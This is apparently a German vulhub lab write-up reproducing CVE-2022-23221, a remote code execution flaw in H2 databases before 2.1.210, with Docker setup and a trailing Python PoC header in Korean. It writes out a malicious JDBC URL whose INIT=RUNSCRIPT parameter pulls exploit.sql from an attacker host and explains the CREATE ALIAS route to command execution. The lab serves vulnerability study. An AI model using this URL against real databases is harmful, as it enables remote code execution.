
# vulhub/H2-database/CVE-2022-23221
H2 ist ein relationales Datenbankverwaltungssystem, das die Möglichkeit bietet, Java-Code direkt innerhalb der SQL-Engine zu kompilieren und auszuführen.
Der H2-Treiber parst die JDBC-URL, um die Verbindung zwischen Anwendung und Datenbank herzustellen. Dabei lassen sich über die in der URL enthaltenen Konfigurationsparameter der Anfangszustand oder das Verhalten der Datenbank steuern.
In den problematischen Versionen vor H2 2.1.210 besteht das Problem, dass über den INIT-Parameter der JDBC-URL ein entferntes SQL-Skript ausgeführt werden kann. Ein Angreifer kann dies ausnutzen, indem er ein manipuliertes SQL-Skript aus der Ferne einschleust und über die darin enthaltenen Anweisungen Systembefehle ausführt, wodurch die Schwachstelle CVE-2022-23221 ausgelöst wird.
Die Merkmale dieser Schwachstelle sind wie folgt.
Betroffener Bereich der Schwachstelle
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’ enthalten.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Umgehung der Sicherheitseinstellungen
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-Befehl, der bei der Verbindung zwischen Anwendung und DB automatisch ausgeführt wird
CREATE ALIAS enthalten.
CREATE ALIAS im entfernt auszuführenden Skript bewirkt, dass H2 eine Java-Funktion aus dem Skript innerhalb der DB ausführt, was letztlich zu einer RCE führt.Szenario
id, whoami, pwd ausgegeben werden, bedeutet dies, dass eine verwundbare H2-Umgebung eingerichtet wurde und dass H2 beim Parsen der schädlichen JDBC-URL die Datei exploit.sql von einem externen Angreifer-Server entfernt heruntergeladen und ausgeführt hat.Umgebungseinrichtung
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : stellt die Datei exploit.sql bereitNach der Konfiguration der Umgebung erscheint beim Zugriff auf http://your-ip:8082 die H2-Webseite.
: Da in der Webkonsole Sicherheitsrichtlinien angewendet werden, können die Parameter, die die Schwachstellenbedingungen darstellen, gefiltert werden. Daher wird die Schwachstelle reproduziert, indem die JDBC-URL mit den schädlichen Parametern direkt über die CLI eingegeben wird, und das Ergebnis wird überprüft.
Normale JDBC-URL: "jdbc:h2:mem:test"
Befehl für eine normale Anfrage
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Ausführungsergebnis

Durch Eingabe einer schädlichen JDBC-URL in den H2-Treiber wird eine Verbindung zum attacker-Server versucht. Dabei gibt es zwei Möglichkeiten, die URL einzugeben.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 fordert gemäß INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', das im INIT-Parameter der JDBC-URL angegeben ist, die Datei exploit.sql vom attacker-Server an (HTTP GET) und führt diese innerhalb der H2-Datenbank aus.
docker logs attacker können die Logs der vom h2-vulnerable-Server eingegangenen Anfrage nach der Datei exploit.sql überprüft werden.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.